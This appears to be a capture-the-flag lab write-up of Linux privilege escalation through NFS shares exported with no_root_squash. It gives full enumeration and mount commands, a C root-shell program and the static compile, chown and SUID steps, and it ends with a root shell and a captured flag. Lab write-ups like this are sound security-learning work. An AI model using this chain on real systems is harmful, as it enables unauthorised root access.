Back to Linux Privilege Escalation


Enumeration

From Kali, checked what the target was exporting:

showmount -e TARGET_IP
Export list for TARGET_IP:
/home/ubuntu/sharedfolder *
/tmp                      *
/home/backup              *

Three mountable shares. Created local mount points and mounted all three:

mkdir -p /tmp/nfs1 /tmp/nfs2 /tmp/nfs3
sudo mount -o rw TARGET_IP:/home/ubuntu/sharedfolder /tmp/nfs1
sudo mount -o rw TARGET_IP:/tmp /tmp/nfs2
sudo mount -o rw TARGET_IP:/home/backup /tmp/nfs3

Checked the export configuration on the target:

cat /etc/exports
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)

All three shares had no_root_squash enabled. Every single one.


Building the Payload

Wrote a small C program to spawn a root shell:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}

Failure one — wrong architecture:

Exec format error

Binary was built for the wrong CPU architecture. Recompiled for x86-64.

Failure two — glibc mismatch:

/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found

Kali's glibc was newer than the target's. Solution: static build.

Installed the cross-compiler on Kali:

sudo apt update && sudo apt install gcc-x86-64-linux-gnu -y

Rebuilt as a statically linked x86-64 binary, set ownership to root, set the SUID bit — all from Kali on the mounted share:

sudo x86_64-linux-gnu-gcc -static /tmp/nfs2/nfs.c -o /tmp/nfs2/nfs
sudo chown root:root /tmp/nfs2/nfs
sudo chmod 4755 /tmp/nfs2/nfs

Verified:

file /tmp/nfs2/nfs
ls -l /tmp/nfs2/nfs
setuid ELF 64-bit LSB executable, x86-64, statically linked
-rwsr-xr-x 1 root root 774536 Mar 28 08:35 /tmp/nfs2/nfs

The ownership was the critical piece. A SUID binary only elevates to the privilege of its owner. Creating it on the mounted NFS share as root on Kali meant it appeared on the target as root:root.

Static x86-64 SUID binary confirmed on mounted NFS share

Execution

On the target as Karen:

ls -l /tmp/nfs
/tmp/nfs
whoami
id
root
uid=0(root) gid=0(root) groups=0(root),1001(karen)
Root shell via NFS SUID payload execution

Post-Escalation

find / -name flag7.txt 2>/dev/null
cat /home/matt/flag7.txt
THM-89384012

Why This Works

no_root_squash is the misconfiguration that makes this possible. Normally NFS maps remote root activity to nobody — specifically to prevent this attack. With no_root_squash enabled that mapping doesn't happen, and files created as root on the attacker's machine retain root ownership on the target.

Two build failures surfaced real-world problems worth knowing: architecture mismatch and glibc version incompatibility. A statically linked binary solved both by removing the dependency on the target's shared libraries entirely.

showmount -e is the first step for any NFS enumeration. If shares are exposed and no_root_squash is set, this attack is straightforward.

Back to Linux Privilege Escalation